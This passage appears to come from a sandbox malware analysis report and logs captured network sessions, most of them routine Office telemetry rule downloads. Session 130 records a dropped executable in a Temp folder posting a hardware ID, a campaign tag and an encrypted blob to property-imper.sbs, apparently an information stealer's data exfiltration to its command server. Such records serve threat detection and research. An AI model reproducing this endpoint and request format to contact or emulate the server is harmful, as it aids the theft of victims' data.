20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:51 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 1eb9d342-301e-005d-4e03-3de448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011452Z-178bfbc474bwlrhlhC1NYCy3kg000000058g000000009du4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:51 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011452Z-174c587ffdfn4nhwhC1TEB2nbc00000003vg0000000062ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:51 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011452Z-174c587ffdfb5q56hC1TEB04kg00000003m000000000gc24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:52 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:52 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011452Z-174c587ffdfmrvb9hC1TEBtn3800000003qg00000000fg2y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:52 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:53 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 95a88f05-701e-001e-7f87-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011453Z-15b8b599d88tr2flhC1TEB5gk400000003x0000000005r7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:53 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49913	104.21.33.116	443	7524	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:53 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P1KQYZAEEXRHO9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18145 Host: property-imper.sbs
2024-11-24 01:14:53 UTC	15331	OUT	Data Raw: 2d 2d 50 31 4b 51 59 5a 41 45 45 58 52 48 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 36 34 32 30 33 30 44 36 31 39 39 32 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 50 31 4b 51 59 5a 41 45 45 58 52 48 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 31 4b 51 59 5a 41 45 45 58 52 48 4f 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 31 Data Ascii: --P1KQYZAEEXRHO9Content-Disposition: form-data; name="hwid"5A642030D61992D4D7CBBD6DF28D3732--P1KQYZAEEXRHO9Content-Disposition: form-data; name="pid"2--P1KQYZAEEXRHO9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--P1
2024-11-24 01:14:53 UTC	2814	OUT	Data Raw: dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 Data Ascii: d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wE
2024-11-24 01:14:54 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f7dbijnikmnrhdqaokrd48arc9; expires=Wed, 19-Mar-2025 19:01:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mFiSjmEV9dhd%2B3SzldIjOAQH9GwSxnLvTg6OIlT4l2Tk1edvjVXLHtwsibVRo%2FFvH6xwd7fx3Rrf9MPIDUrtPYD0UBr0TbhVQRxZaQL1zuOBxsB8wcsREjcSOuZwmEqPuNNiLL4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e758b76098a43bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2160&sent=16&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19105&delivery_rate=1383886&cwnd=201&unsent_bytes=0&cid=edec8ada1af08cdc&ts=1281&x=0"
2024-11-24 01:14:54 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 01:14:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:54 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:54 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011454Z-178bfbc474bscnbchC1NYCe7eg000000059000000000nk3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:54 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:54 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:54 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d606dcfe-601e-003e-695e-3b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011454Z-178bfbc474bh5zbqhC1NYCkdug000000052g00000000mm0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:54 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:54 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:54 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011454Z-174c587ffdfcb7qhhC1TEB3x7000000003ug000000008q17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:54 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:54 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:54 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011454Z-174c587ffdfn4nhwhC1TEB2nbc00000003tg00000000cg5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:55 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:55 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:55 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 15687058-401e-005b-477d-3b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011455Z-174c587ffdfgcs66hC1TEB69cs00000003h000000000gybq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
